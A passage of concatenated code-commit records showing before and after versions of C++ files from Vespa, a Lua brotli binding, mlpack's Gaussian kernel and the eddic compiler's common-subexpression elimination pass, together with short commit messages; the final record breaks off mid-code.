_indexWriter->heartBeat(serialNum);\n}\n\nvoid\nSearchableFeedView::updateIndexedFields(SerialNum serialNum, search::DocumentIdT lid, FutureDoc futureDoc, OnOperationDoneType onWriteDone)\n{\n _writeService.index().execute(\n makeLambdaTask([serialNum, lid, futureDoc = std::move(futureDoc),\n onWriteDone = std::move(onWriteDone), this]() mutable {\n performIndexPut(serialNum, lid, std::move(futureDoc), std::move(onWriteDone));\n }));\n}\n\nvoid\nSearchableFeedView::removeIndexedFields(SerialNum serialNum, search::DocumentIdT lid, OnRemoveDoneType onWriteDone)\n{\n if (!hasIndexedFields()) {\n return;\n }\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lid, onWriteDone]() {\n performIndexRemove(serialNum, lid, onWriteDone);\n }));\n}\n\n\nvoid\nSearchableFeedView::performIndexRemove(SerialNum serialNum, search::DocumentIdT lid, OnRemoveDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n VLOG(getDebugLevel(lid, nullptr),\n \"database(%s): performIndexRemove: serialNum(%\" PRIu64 \"), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, lid);\n\n _indexWriter->remove(serialNum, lid);\n}\n\nvoid\nSearchableFeedView::performIndexRemove(SerialNum serialNum, const LidVector &lidsToRemove, OnWriteDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n for (const auto lid : lidsToRemove) {\n VLOG(getDebugLevel(lid, nullptr),\n \"database(%s): performIndexRemove: serialNum(%\" PRIu64 \"), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, lid);\n }\n\n _indexWriter->removeDocs(serialNum, lidsToRemove);\n}\n\nvoid\nSearchableFeedView::removeIndexedFields(SerialNum serialNum, const LidVector &lidsToRemove,\n OnWriteDoneType onWriteDone)\n{\n if (!hasIndexedFields())\n return;\n\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lidsToRemove, onWriteDone]() {\n performIndexRemove(serialNum, lidsToRemove, onWriteDone);\n }));\n}\n\nvoid\nSearchableFeedView::internalDeleteBucket(const DeleteBucketOperation &delOp, DoneCallback onDone)\n{\n Parent::internalDeleteBucket(delOp, onDone);\n}\n\nvoid\nSearchableFeedView::performIndexForceCommit(SerialNum serialNum, OnForceCommitDoneType onCommitDone)\n{\n assert(_writeService.index().isCurrentThread());\n _indexWriter->commit(serialNum, onCommitDone);\n}\n\nvoid\nSearchableFeedView::handleCompactLidSpace(const CompactLidSpaceOperation &op, DoneCallback onDone)\n{\n Parent::handleCompactLidSpace(op, onDone);\n vespalib::Gate gate;\n _writeService.index().execute(\n makeLambdaTask([this, &op, &gate]() {\n _indexWriter->compactLidSpace(op.getSerialNum(), op.getLidLimit());\n gate.countDown();\n }));\n gate.await();\n}\n\nvoid\nSearchableFeedView::internalForceCommit(const CommitParam & param, OnForceCommitDoneType onCommitDone)\n{\n Parent::internalForceCommit(param, onCommitDone);\n _writeService.index().execute(\n makeLambdaTask([this, serialNum=param.lastSerialNum(), onCommitDone]() {\n performIndexForceCommit(serialNum, onCommitDone);\n }));\n _writeService.index().wakeup();\n}\n\n} \/\/ namespace proton\n<commit_msg>Remove noop std::move.<commit_after>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"searchable_feed_view.h\"\n#include \"forcecommitcontext.h\"\n#include \"operationdonecontext.h\"\n#include \"removedonecontext.h\"\n#include <vespa\/searchcore\/proton\/feedoperation\/compact_lid_space_operation.h>\n#include <vespa\/vespalib\/util\/isequencedtaskexecutor.h>\n#include <vespa\/document\/fieldvalue\/document.h>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".proton.server.searchable_feed_view\");\n\nusing document::BucketId;\nusing document::Document;\nusing document::DocumentId;\nusing document::DocumentTypeRepo;\nusing document::DocumentUpdate;\nusing search::index::Schema;\nusing storage::spi::BucketInfoResult;\nusing storage::spi::Timestamp;\nusing vespalib::makeLambdaTask;\n\nnamespace proton {\n\nSearchableFeedView::Context::Context(const IIndexWriter::SP &indexWriter)\n : _indexWriter(indexWriter)\n{}\n\n\nSearchableFeedView::Context::~Context() = default;\n\nSearchableFeedView::SearchableFeedView(StoreOnlyFeedView::Context storeOnlyCtx, const PersistentParams ¶ms,\n const FastAccessFeedView::Context &fastUpdateCtx, Context ctx)\n : Parent(std::move(storeOnlyCtx), params, fastUpdateCtx),\n _indexWriter(ctx._indexWriter),\n _hasIndexedFields(_schema->getNumIndexFields() > 0)\n{ }\n\nSearchableFeedView::~SearchableFeedView() = default;\n\nvoid\nSearchableFeedView::putIndexedFields(SerialNum serialNum, search::DocumentIdT lid, const DocumentSP &newDoc,\n OnOperationDoneType onWriteDone)\n{\n if (!hasIndexedFields()) {\n return;\n }\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lid, newDoc, onWriteDone] {\n performIndexPut(serialNum, lid, newDoc, onWriteDone);\n }));\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, const Document &doc, OnOperationDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n VLOG(getDebugLevel(lid, doc.getId()),\n \"database(%s): performIndexPut: serialNum(%\" PRIu64 \"), docId(%s), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, doc.getId().toString().c_str(), lid);\n\n _indexWriter->put(serialNum, doc, lid, onWriteDone);\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, const DocumentSP &doc, OnOperationDoneType onWriteDone)\n{\n performIndexPut(serialNum, lid, *doc, onWriteDone);\n}\n\nvoid\nSearchableFeedView::performIndexPut(SerialNum serialNum, search::DocumentIdT lid, FutureDoc futureDoc, OnOperationDoneType onWriteDone)\n{\n const auto &doc = futureDoc.get();\n if (doc) {\n performIndexPut(serialNum, lid, *doc, onWriteDone);\n }\n}\n\nvoid\nSearchableFeedView::heartBeatIndexedFields(SerialNum serialNum, DoneCallback onDone)\n{\n _writeService.index().execute(makeLambdaTask([this, serialNum, onDone] {\n (void) onDone;\n performIndexHeartBeat(serialNum);\n }));\n}\n\nvoid\nSearchableFeedView::performIndexHeartBeat(SerialNum serialNum)\n{\n _indexWriter->heartBeat(serialNum);\n}\n\nvoid\nSearchableFeedView::updateIndexedFields(SerialNum serialNum, search::DocumentIdT lid, FutureDoc futureDoc, OnOperationDoneType onWriteDone)\n{\n _writeService.index().execute(\n makeLambdaTask([serialNum, lid, futureDoc = std::move(futureDoc),\n onWriteDone, this]() mutable {\n performIndexPut(serialNum, lid, std::move(futureDoc), onWriteDone);\n }));\n}\n\nvoid\nSearchableFeedView::removeIndexedFields(SerialNum serialNum, search::DocumentIdT lid, OnRemoveDoneType onWriteDone)\n{\n if (!hasIndexedFields()) {\n return;\n }\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lid, onWriteDone]() {\n performIndexRemove(serialNum, lid, onWriteDone);\n }));\n}\n\n\nvoid\nSearchableFeedView::performIndexRemove(SerialNum serialNum, search::DocumentIdT lid, OnRemoveDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n VLOG(getDebugLevel(lid, nullptr),\n \"database(%s): performIndexRemove: serialNum(%\" PRIu64 \"), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, lid);\n\n _indexWriter->remove(serialNum, lid);\n}\n\nvoid\nSearchableFeedView::performIndexRemove(SerialNum serialNum, const LidVector &lidsToRemove, OnWriteDoneType onWriteDone)\n{\n (void) onWriteDone;\n assert(_writeService.index().isCurrentThread());\n for (const auto lid : lidsToRemove) {\n VLOG(getDebugLevel(lid, nullptr),\n \"database(%s): performIndexRemove: serialNum(%\" PRIu64 \"), lid(%d)\",\n _params._docTypeName.toString().c_str(), serialNum, lid);\n }\n\n _indexWriter->removeDocs(serialNum, lidsToRemove);\n}\n\nvoid\nSearchableFeedView::removeIndexedFields(SerialNum serialNum, const LidVector &lidsToRemove,\n OnWriteDoneType onWriteDone)\n{\n if (!hasIndexedFields())\n return;\n\n _writeService.index().execute(\n makeLambdaTask([this, serialNum, lidsToRemove, onWriteDone]() {\n performIndexRemove(serialNum, lidsToRemove, onWriteDone);\n }));\n}\n\nvoid\nSearchableFeedView::internalDeleteBucket(const DeleteBucketOperation &delOp, DoneCallback onDone)\n{\n Parent::internalDeleteBucket(delOp, onDone);\n}\n\nvoid\nSearchableFeedView::performIndexForceCommit(SerialNum serialNum, OnForceCommitDoneType onCommitDone)\n{\n assert(_writeService.index().isCurrentThread());\n _indexWriter->commit(serialNum, onCommitDone);\n}\n\nvoid\nSearchableFeedView::handleCompactLidSpace(const CompactLidSpaceOperation &op, DoneCallback onDone)\n{\n Parent::handleCompactLidSpace(op, onDone);\n vespalib::Gate gate;\n _writeService.index().execute(\n makeLambdaTask([this, &op, &gate]() {\n _indexWriter->compactLidSpace(op.getSerialNum(), op.getLidLimit());\n gate.countDown();\n }));\n gate.await();\n}\n\nvoid\nSearchableFeedView::internalForceCommit(const CommitParam & param, OnForceCommitDoneType onCommitDone)\n{\n Parent::internalForceCommit(param, onCommitDone);\n _writeService.index().execute(\n makeLambdaTask([this, serialNum=param.lastSerialNum(), onCommitDone]() {\n performIndexForceCommit(serialNum, onCommitDone);\n }));\n _writeService.index().wakeup();\n}\n\n} \/\/ namespace proton\n<|endoftext|>"} {"text":"<commit_before>#include <lua.hpp>\n\n#include \"brotli\/dec\/decode.h\"\n#include \"brotli\/enc\/encode.h\"\n#include \"brotli\/enc\/streams.h\"\n\nclass MemReader : public brotli::BrotliIn\n{\npublic:\n MemReader(const void *data, size_t len) : data_(data), len_(len) { }\n virtual ~MemReader() { }\n\n virtual const void* Read(size_t n, size_t* nread)\n {\n const void *d = data_;\n *nread = len_;\n data_ = NULL;\n len_ = 0;\n return d;\n }\nprivate:\n const void *data_;\n size_t len_;\n};\n\nclass LuaWriter : public brotli::BrotliOut\n{\npublic:\n LuaWriter(luaL_Buffer *b_) : b(b_) { }\n virtual ~LuaWriter() { }\n\n virtual bool Write(const void *buf, size_t n)\n {\n luaL_addlstring(b, (const char *)buf, n);\n return true;\n }\nprivate:\n luaL_Buffer *b;\n};\n\nint lb_compress(lua_State *L)\n{\n size_t in_len;\n const char *in = luaL_checklstring(L, 1, &in_len);\n\n luaL_Buffer b;\n#if LUA_VERSION_NUM >= 502\n luaL_buffinitsize(L, &b, in_len \/ 2);\n#else\n luaL_buffinit(L, &b);\n#endif\n\n brotli::BrotliParams params;\n MemReader input(in, in_len);\n LuaWriter output(&b);\n if (!brotli::BrotliCompress(params, &input, &output))\n return luaL_error(L, \"compression failed\");\n\n luaL_pushresult(&b);\n\n return 1;\n}\n\nint BrotliLuaOutputFunction(void *data, const uint8_t *buf, size_t count)\n{\n luaL_Buffer *b = (luaL_Buffer *)data;\n luaL_addlstring(b, (const char *)buf, count);\n return (int)count;\n}\n\nBrotliOutput BrotliInitLuaOutput(luaL_Buffer *b)\n{\n BrotliOutput output;\n output.cb_ = &BrotliLuaOutputFunction;\n output.data_ = b;\n return output;\n}\n\nint lb_decompress(lua_State *L)\n{\n size_t in_len;\n const char *in = luaL_checklstring(L, 1, &in_len);\n\n luaL_Buffer b;\n#if LUA_VERSION_NUM >= 502\n luaL_buffinitsize(L, &b, in_len);\n#else\n luaL_buffinit(L, &b);\n#endif\n\n BrotliMemInput mem_input;\n BrotliInput input = BrotliInitMemInput((const uint8_t *)in, in_len, &mem_input);\n BrotliOutput output = BrotliInitLuaOutput(&b);\n if (!BrotliDecompress(input, output))\n return luaL_error(L, \"corrupt input\");\n\n luaL_pushresult(&b);\n\n return 1;\n}\n\nextern \"C\"\n{\n\nstatic const luaL_Reg export_functions[] = {\n { \"compress\", lb_compress },\n { \"decompress\", lb_decompress },\n { NULL, NULL },\n};\n\n\nLUALIB_API int luaopen_brotli(lua_State *L)\n{\n#if LUA_VERSION_NUM >= 502\n luaL_newlib(L, export_functions);\n#else\n lua_newtable(L);\n luaL_register(L, NULL, export_functions);\n#endif\n return 1;\n}\n\n}\n<commit_msg>fix read buffer bug<commit_after>#include <lua.hpp>\n\n#include \"brotli\/dec\/decode.h\"\n#include \"brotli\/enc\/encode.h\"\n#include \"brotli\/enc\/streams.h\"\n\nclass MemReader : public brotli::BrotliIn\n{\npublic:\n MemReader(const void *data, size_t len) : data_((const uint8_t *)data), len_(len) { }\n virtual ~MemReader() { }\n\n virtual const void* Read(size_t n, size_t* nread)\n {\n const void *d = data_;\n if (n >= len_)\n {\n *nread = len_;\n data_ = NULL;\n len_ = 0;\n }\n else\n {\n *nread = n;\n data_ += n;\n len_ -= n;\n }\n return d;\n }\nprivate:\n const uint8_t *data_;\n size_t len_;\n};\n\nclass LuaWriter : public brotli::BrotliOut\n{\npublic:\n LuaWriter(luaL_Buffer *b_) : b(b_) { }\n virtual ~LuaWriter() { }\n\n virtual bool Write(const void *buf, size_t n)\n {\n luaL_addlstring(b, (const char *)buf, n);\n return true;\n }\nprivate:\n luaL_Buffer *b;\n};\n\nstatic int lb_compress(lua_State *L)\n{\n size_t in_len;\n const char *in = luaL_checklstring(L, 1, &in_len);\n\n luaL_Buffer b;\n#if LUA_VERSION_NUM >= 502\n luaL_buffinitsize(L, &b, in_len \/ 2);\n#else\n luaL_buffinit(L, &b);\n#endif\n\n brotli::BrotliParams params;\n MemReader input(in, in_len);\n LuaWriter output(&b);\n if (!brotli::BrotliCompress(params, &input, &output))\n return luaL_error(L, \"compression failed\");\n\n luaL_pushresult(&b);\n\n return 1;\n}\n\nstatic int BrotliLuaOutputFunction(void *data, const uint8_t *buf, size_t count)\n{\n luaL_Buffer *b = (luaL_Buffer *)data;\n luaL_addlstring(b, (const char *)buf, count);\n return (int)count;\n}\n\nstatic BrotliOutput BrotliInitLuaOutput(luaL_Buffer *b)\n{\n BrotliOutput output;\n output.cb_ = &BrotliLuaOutputFunction;\n output.data_ = b;\n return output;\n}\n\nstatic int lb_decompress(lua_State *L)\n{\n size_t in_len;\n const char *in = luaL_checklstring(L, 1, &in_len);\n\n luaL_Buffer b;\n#if LUA_VERSION_NUM >= 502\n luaL_buffinitsize(L, &b, in_len);\n#else\n luaL_buffinit(L, &b);\n#endif\n\n BrotliMemInput mem_input;\n BrotliInput input = BrotliInitMemInput((const uint8_t *)in, in_len, &mem_input);\n BrotliOutput output = BrotliInitLuaOutput(&b);\n if (!BrotliDecompress(input, output))\n return luaL_error(L, \"corrupt input\");\n\n luaL_pushresult(&b);\n\n return 1;\n}\n\nextern \"C\"\n{\n\nstatic const luaL_Reg export_functions[] = {\n { \"compress\", lb_compress },\n { \"decompress\", lb_decompress },\n { NULL, NULL },\n};\n\n\nLUALIB_API int luaopen_brotli(lua_State *L)\n{\n#if LUA_VERSION_NUM >= 502\n luaL_newlib(L, export_functions);\n#else\n lua_newtable(L);\n luaL_register(L, NULL, export_functions);\n#endif\n return 1;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file gaussian_kernel.hpp\n * @author Wei Guan\n * @author James Cline\n * @author Ryan Curtin\n *\n * Implementation of the Gaussian kernel (GaussianKernel).\n *\/\n#ifndef __MLPACK_CORE_KERNELS_GAUSSIAN_KERNEL_HPP\n#define __MLPACK_CORE_KERNELS_GAUSSIAN_KERNEL_HPP\n\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\nnamespace mlpack {\nnamespace kernel {\n\n\/**\n * The standard Gaussian kernel. Given two vectors @f$ x @f$, @f$ y @f$, and a\n * bandwidth @f$ \\mu @f$ (set in the constructor),\n *\n * @f[\n * K(x, y) = \\exp(-\\frac{|| x - y ||^2}{2 \\mu^2}).\n * @f]\n *\n * The implementation is all in the header file because it is so simple.\n *\/\nclass GaussianKernel\n{\n public:\n \/**\n * Default constructor; sets bandwidth to 1.0.\n *\/\n GaussianKernel() : bandwidth(1.0), gamma(-0.5)\n { }\n\n \/**\n * Construct the Gaussian kernel with a custom bandwidth.\n *\n * @param bandwidth The bandwidth of the kernel (@f$\\mu@f$).\n *\/\n GaussianKernel(double bandwidth) :\n bandwidth(bandwidth),\n gamma(-0.5 * pow(bandwidth, -2.0))\n { }\n\n \/**\n * Evaluation of the Gaussian kernel. This could be generalized to use any\n * distance metric, not the Euclidean distance, but for now, the Euclidean\n * distance is used.\n *\n * @tparam VecType Type of vector (likely arma::vec or arma::spvec).\n * @param a First vector.\n * @param b Second vector.\n * @return K(a, b) using the bandwidth (@f$\\mu@f$) specified in the\n * constructor.\n *\/\n template<typename VecType>\n double Evaluate(const VecType& a, const VecType& b) const\n {\n \/\/ The precalculation of gamma saves us a little computation time.\n return exp(gamma * metric::SquaredEuclideanDistance::Evaluate(a, b));\n }\n\n \/**\n * Evaluation of the Gaussian kernel using a double precision argument.\n *\n * @param t double value.\n * @return K(t) using the bandwidth (@f$\\mu@f$) specified in the\n * constructor.\n *\/\n double Evaluate(double t) const\n {\n \/\/ The precalculation of gamma saves us a little computation time.\n return exp(gamma * t * t);\n }\n \/**\n * Obtain the normalization constant of the Gaussian kernel.\n *\n * @param dimension\n * @return the normalization constant\n *\/\n double Normalizer(size_t dimension)\n {\n return pow(sqrt(2.0 * M_PI) * bandwidth, (double) dimension);\n }\n \/**\n * Obtain a convolution integral of the Gaussian kernel.\n *\n * @param a, first vector\n * @param b, second vector\n * @return the convolution integral\n *\/\n template<typename VecType>\n double ConvolutionIntegral(const VecType& a, const VecType& b)\n {\n return Evaluate(sqrt(metric::SquaredEuclideanDistance::Evaluate(a, b) \/ 2.0)) \/\n (Normalizer(a.n_rows) * pow(2.0, (double) a.n_rows \/ 2.0));\n }\n\n\n \/\/! Get the bandwidth.\n double Bandwidth() const { return bandwidth; }\n \/\/! Modify the bandwidth. This takes an argument because we must update the\n \/\/! precalculated constant (gamma).\n void Bandwidth(const double bandwidth)\n {\n this->bandwidth = bandwidth;\n this->gamma = -0.5 * pow(bandwidth, -2.0);\n }\n\n \/\/! Get the precalculated constant.\n double Gamma() const { return gamma; }\n\n private:\n \/\/! Kernel bandwidth.\n double bandwidth;\n\n \/\/! Precalculated constant depending on the bandwidth;\n \/\/! @f$ \\gamma = -\\frac{1}{2 \\mu^2} @f$.\n double gamma;\n};\n\nclass GaussianStaticKernel\n{\n public:\n GaussianStaticKernel() { }\n\n template<typename VecType>\n static double Evaluate(const VecType& a, const VecType& b)\n {\n return exp(-0.5 * metric::SquaredEuclideanDistance::Evaluate(a, b));\n }\n};\n\n}; \/\/ namespace kernel\n}; \/\/ namespace mlpack\n\n#endif\n<commit_msg>Remove static Gaussian kernel hack.<commit_after>\/**\n * @file gaussian_kernel.hpp\n * @author Wei Guan\n * @author James Cline\n * @author Ryan Curtin\n *\n * Implementation of the Gaussian kernel (GaussianKernel).\n *\/\n#ifndef __MLPACK_CORE_KERNELS_GAUSSIAN_KERNEL_HPP\n#define __MLPACK_CORE_KERNELS_GAUSSIAN_KERNEL_HPP\n\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\nnamespace mlpack {\nnamespace kernel {\n\n\/**\n * The standard Gaussian kernel. Given two vectors @f$ x @f$, @f$ y @f$, and a\n * bandwidth @f$ \\mu @f$ (set in the constructor),\n *\n * @f[\n * K(x, y) = \\exp(-\\frac{|| x - y ||^2}{2 \\mu^2}).\n * @f]\n *\n * The implementation is all in the header file because it is so simple.\n *\/\nclass GaussianKernel\n{\n public:\n \/**\n * Default constructor; sets bandwidth to 1.0.\n *\/\n GaussianKernel() : bandwidth(1.0), gamma(-0.5)\n { }\n\n \/**\n * Construct the Gaussian kernel with a custom bandwidth.\n *\n * @param bandwidth The bandwidth of the kernel (@f$\\mu@f$).\n *\/\n GaussianKernel(double bandwidth) :\n bandwidth(bandwidth),\n gamma(-0.5 * pow(bandwidth, -2.0))\n { }\n\n \/**\n * Evaluation of the Gaussian kernel. This could be generalized to use any\n * distance metric, not the Euclidean distance, but for now, the Euclidean\n * distance is used.\n *\n * @tparam VecType Type of vector (likely arma::vec or arma::spvec).\n * @param a First vector.\n * @param b Second vector.\n * @return K(a, b) using the bandwidth (@f$\\mu@f$) specified in the\n * constructor.\n *\/\n template<typename VecType>\n double Evaluate(const VecType& a, const VecType& b) const\n {\n \/\/ The precalculation of gamma saves us a little computation time.\n return exp(gamma * metric::SquaredEuclideanDistance::Evaluate(a, b));\n }\n\n \/**\n * Evaluation of the Gaussian kernel using a double precision argument.\n *\n * @param t double value.\n * @return K(t) using the bandwidth (@f$\\mu@f$) specified in the\n * constructor.\n *\/\n double Evaluate(double t) const\n {\n \/\/ The precalculation of gamma saves us a little computation time.\n return exp(gamma * t * t);\n }\n \/**\n * Obtain the normalization constant of the Gaussian kernel.\n *\n * @param dimension\n * @return the normalization constant\n *\/\n double Normalizer(size_t dimension)\n {\n return pow(sqrt(2.0 * M_PI) * bandwidth, (double) dimension);\n }\n \/**\n * Obtain a convolution integral of the Gaussian kernel.\n *\n * @param a, first vector\n * @param b, second vector\n * @return the convolution integral\n *\/\n template<typename VecType>\n double ConvolutionIntegral(const VecType& a, const VecType& b)\n {\n return Evaluate(sqrt(metric::SquaredEuclideanDistance::Evaluate(a, b) \/ 2.0)) \/\n (Normalizer(a.n_rows) * pow(2.0, (double) a.n_rows \/ 2.0));\n }\n\n\n \/\/! Get the bandwidth.\n double Bandwidth() const { return bandwidth; }\n\n \/\/! Modify the bandwidth. This takes an argument because we must update the\n \/\/! precalculated constant (gamma).\n void Bandwidth(const double bandwidth)\n {\n this->bandwidth = bandwidth;\n this->gamma = -0.5 * pow(bandwidth, -2.0);\n }\n\n \/\/! Get the precalculated constant.\n double Gamma() const { return gamma; }\n\n private:\n \/\/! Kernel bandwidth.\n double bandwidth;\n\n \/\/! Precalculated constant depending on the bandwidth;\n \/\/! @f$ \\gamma = -\\frac{1}{2 \\mu^2} @f$.\n double gamma;\n};\n\n}; \/\/ namespace kernel\n}; \/\/ namespace mlpack\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"assert.hpp\"\n#include \"Variable.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Type.hpp\"\n#include \"iterators.hpp\"\n\n#include \"mtac\/CommonSubexpressionElimination.hpp\"\n#include \"mtac\/Utils.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::CommonSubexpressionElimination::ProblemDomain ProblemDomain;\n\nstd::ostream& mtac::operator<<(std::ostream& stream, Expression& \/*expression*\/){\n return stream << \"Expression {expression = {}}\";\n}\n\ninline bool are_equivalent(std::shared_ptr<mtac::Quadruple> first, std::shared_ptr<mtac::Quadruple> second){\n return first->op == second->op && *first->arg1 == *second->arg1 && *first->arg2 == *second->arg2;\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::meet(ProblemDomain& in, ProblemDomain& out){\n ASSERT(!in.top() || !out.top(), \"At least one lattice should not be a top element\");\n\n if(in.top()){\n return out;\n } else if(out.top()){\n return in;\n } else {\n typename ProblemDomain::Values values;\n\n for(auto& in_value : in.values()){\n for(auto& out_value : out.values()){\n if(are_equivalent(in_value.expression, out_value.expression)){\n values.push_back(in_value);\n }\n }\n }\n\n ProblemDomain result(values);\n return result;\n }\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::transfer(std::shared_ptr<mtac::BasicBlock> basic_block, mtac::Statement& statement, ProblemDomain& in){\n auto out = in;\n\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n auto op = (*ptr)->op;\n if(mtac::erase_result(op)){\n auto it = iterate(out.values());\n\n while(it.has_next()){\n auto& expression = (*it).expression;\n\n if(expression->arg1){\n if(auto* var_ptr = boost::get<std::shared_ptr<Variable>>(&*expression->arg1)){\n if(*var_ptr == (*ptr)->result){\n it.erase();\n continue;\n }\n }\n }\n \n if(expression->arg2){\n if(auto* var_ptr = boost::get<std::shared_ptr<Variable>>(&*expression->arg2)){\n if(*var_ptr == (*ptr)->result){\n it.erase();\n continue;\n }\n }\n }\n\n ++it;\n }\n }\n\n if(mtac::is_expression((*ptr)->op)){\n bool exists = false;\n for(auto& expression : out.values()){\n if(are_equivalent(*ptr, expression.expression)){\n exists = true;\n break;\n }\n }\n\n if(!exists){\n Expression expression;\n expression.expression = *ptr;\n expression.source = basic_block;\n\n out.values().push_back(expression);\n }\n }\n }\n\n return out;\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::Boundary(std::shared_ptr<mtac::Function> \/*function*\/){\n return default_element();\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::Init(std::shared_ptr<mtac::Function> function){\n if(init){\n ProblemDomain result(*init);\n return result;\n }\n\n typename ProblemDomain::Values values;\n \n for(auto& block : function->getBasicBlocks()){\n for(auto& statement : block->statements){\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n if(mtac::is_expression((*ptr)->op)){\n bool exists = false;\n for(auto& expression : values){\n if(are_equivalent(*ptr, expression.expression)){\n exists = true;\n break;\n }\n }\n \n if(!exists){\n Expression expression;\n expression.expression = *ptr;\n expression.source = block;\n\n values.push_back(expression);\n }\n }\n }\n }\n }\n\n init = values;\n \n ProblemDomain result(values);\n return result;\n}\n\nbool mtac::CommonSubexpressionElimination::optimize(mtac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>>& global_results){\n auto& results = global_results->IN_S[statement];\n\n bool changes = false;\n\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n if(mtac::is_expression((*ptr)->op)){\n for(auto& expression : results.values()){\n if(are_equivalent(expression.expression, *ptr)){\n auto source_statement = expression.expression;\n \n mtac::Operator assign_op;\n if((*ptr)->op >= mtac::Operator::ADD && (*ptr)->op <= mtac::Operator::MOD){\n assign_op = mtac::Operator::ASSIGN;\n } else if((*ptr)->op >= mtac::Operator::FADD && (*ptr)->op <= mtac::Operator::FDIV){\n assign_op = mtac::Operator::FASSIGN;\n }\n\n if(optimized.find(source_statement->result) == optimized.end()){\n std::shared_ptr<Variable> temp;\n if((*ptr)->op >= mtac::Operator::ADD && (*ptr)->op <= mtac::Operator::MOD){\n temp = expression.source->context->new_temporary(INT);\n } else if((*ptr)->op >= mtac::Operator::FADD && (*ptr)->op <= mtac::Operator::FDIV){\n temp = expression.source->context->new_temporary(FLOAT);\n }\n\n auto it = expression.source->statements.begin();\n auto end = expression.source->statements.end();\n\n while(it != end){\n if(boost::get<std::shared_ptr<Quadruple>>(&*it)){\n auto target = boost::get<std::shared_ptr<Quadruple>>(*it);\n if(target == source_statement){\n auto quadruple = std::make_shared<mtac::Quadruple>(source_statement->result, temp, assign_op);\n\n expression.source->statements.insert(it+1, quadruple);\n\n break;\n }\n }\n\n ++it;\n }\n\n source_statement->result = temp;\n\n (*ptr)->op = assign_op;\n (*ptr)->arg1 = temp;\n \n optimized[source_statement->result] = temp;\n } else {\n (*ptr)->op = assign_op;\n (*ptr)->arg1 = source_statement->result;\n \n }\n\n changes = true;\n }\n }\n }\n }\n\n return changes;\n}\n<commit_msg>Fix the optimization<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"assert.hpp\"\n#include \"Variable.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Type.hpp\"\n#include \"iterators.hpp\"\n\n#include \"mtac\/CommonSubexpressionElimination.hpp\"\n#include \"mtac\/Utils.hpp\"\n#include \"mtac\/Printer.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::CommonSubexpressionElimination::ProblemDomain ProblemDomain;\n\nstd::ostream& mtac::operator<<(std::ostream& stream, Expression& \/*expression*\/){\n return stream << \"Expression {expression = {}}\";\n}\n\ninline bool are_equivalent(std::shared_ptr<mtac::Quadruple> first, std::shared_ptr<mtac::Quadruple> second){\n return first->op == second->op && *first->arg1 == *second->arg1 && *first->arg2 == *second->arg2;\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::meet(ProblemDomain& in, ProblemDomain& out){\n ASSERT(!in.top() || !out.top(), \"At least one lattice should not be a top element\");\n\n if(in.top()){\n return out;\n } else if(out.top()){\n return in;\n } else {\n typename ProblemDomain::Values values;\n\n for(auto& in_value : in.values()){\n for(auto& out_value : out.values()){\n if(are_equivalent(in_value.expression, out_value.expression)){\n values.push_back(in_value);\n }\n }\n }\n\n ProblemDomain result(values);\n return result;\n }\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::transfer(std::shared_ptr<mtac::BasicBlock> basic_block, mtac::Statement& statement, ProblemDomain& in){\n auto out = in;\n\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n auto op = (*ptr)->op;\n if(mtac::erase_result(op)){\n auto it = iterate(out.values());\n\n while(it.has_next()){\n auto& expression = (*it).expression;\n\n if(expression->arg1){\n if(auto* var_ptr = boost::get<std::shared_ptr<Variable>>(&*expression->arg1)){\n if(*var_ptr == (*ptr)->result){\n it.erase();\n continue;\n }\n }\n }\n \n if(expression->arg2){\n if(auto* var_ptr = boost::get<std::shared_ptr<Variable>>(&*expression->arg2)){\n if(*var_ptr == (*ptr)->result){\n it.erase();\n continue;\n }\n }\n }\n\n ++it;\n }\n }\n\n if(mtac::is_expression((*ptr)->op)){\n bool exists = 